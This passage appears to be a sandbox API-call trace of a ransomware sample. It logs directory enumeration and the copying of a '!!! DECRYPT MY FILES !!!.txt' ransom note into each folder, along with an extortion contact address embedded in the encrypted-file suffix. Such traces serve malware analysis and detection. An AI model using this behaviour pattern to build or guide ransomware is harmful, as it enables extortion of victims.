[0092.317] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0092.321] GetProcessHeap () returned 0x630000 [0092.321] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x1c) returned 0x6e91c0 [0092.321] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0092.321] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\3082\\eula.rtf", psz="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 1 [0092.321] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\3082\\localizeddata.xml") returned 0x2c [0092.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.321] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.321] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.321] GetProcessHeap () returned 0x630000 [0092.321] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e91c0, Size=0x20) returned 0x6e8fb8 [0092.321] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0092.321] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\3082\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\3082\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 1 [0092.322] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\3082\\setupresources.dll") returned 0x2d [0092.322] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.322] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.322] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.322] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.322] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.322] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0092.322] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0092.322] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\Client\\", len=0x1d | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\Client\\") returned 1 [0092.323] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0092.323] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0092.323] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0092.323] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0092.324] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.324] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0092.324] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", len=0x2e | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 1 [0092.324] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", cchLength=0x2e | out: lpsz="c:\\588bce7c90097ed212\\client\\parameterinfo.xml") returned 0x2e [0092.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.324] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.324] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0092.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0092.324] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5200 [0092.325] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0092.325] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\client\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0092.329] GetProcessHeap () returned 0x630000 [0092.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fb8, Size=0x24) returned 0x699798 [0092.329] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0092.329] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\client\\parameterinfo.xml", psz="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", len=0x27 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 1 [0092.329] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", cchLength=0x27 | out: lpsz="c:\\588bce7c90097ed212\\client\\uiinfo.xml") returned 0x27 [0092.329] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.329] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.329] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.329] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.329] GetProcessHeap () returned 0x630000 [0092.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699798, Size=0x28) returned 0x699c78 [0092.329] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.329] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0092.330] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0092.330] SysReAllocStringLen (in: pbstr=0x6ebf660*=0x0, psz="C:\\588bce7c90097ed212\\DHtmlHeader.html", len=0x26 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 1 [0092.330] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\DHtmlHeader.html", cchLength=0x26 | out: lpsz="c:\\588bce7c90097ed212\\dhtmlheader.html") returned 0x26 [0092.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.330] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.330] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe604, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0092.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe600, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0092.331] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf36c | out: lpFindFileData=0x6ebf36c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f80 [0092.331] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0092.331] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0092.333] GetProcessHeap () returned 0x630000 [0092.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x2c) returned 0x66c878 [0092.333] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0092.334] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\dhtmlheader.html", psz="C:\\588bce7c90097ed212\\DisplayIcon.ico", len=0x25 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 1 [0092.334] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\DisplayIcon.ico", cchLength=0x25 | out: lpsz="c:\\588bce7c90097ed212\\displayicon.ico") returned 0x25 [0092.334] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.334] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.334] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.334] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.334] GetProcessHeap () returned 0x630000 [0092.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c878, Size=0x30) returned 0x66c1e8 [0092.334] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1 [0092.334] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\Extended\\", len=0x1f | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\Extended\\") returned 1 [0092.334] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0092.334] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0092.334] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0092.335] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x684, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0092.335] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.335] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0092.335] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", len=0x30 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 1 [0092.335] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", cchLength=0x30 | out: lpsz="c:\\588bce7c90097ed212\\extended\\parameterinfo.xml") returned 0x30 [0092.335] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.335] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.335] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.335] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.335] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0092.336] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0092.336] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf378ed8a, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5540 [0092.336] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0092.336] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0092.339] GetProcessHeap () returned 0x630000 [0092.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c1e8, Size=0x34) returned 0x6d5440 [0092.339] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0092.339] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\extended\\parameterinfo.xml", psz="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", len=0x29 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 1 [0092.339] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", cchLength=0x29 | out: lpsz="c:\\588bce7c90097ed212\\extended\\uiinfo.xml") returned 0x29 [0092.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, 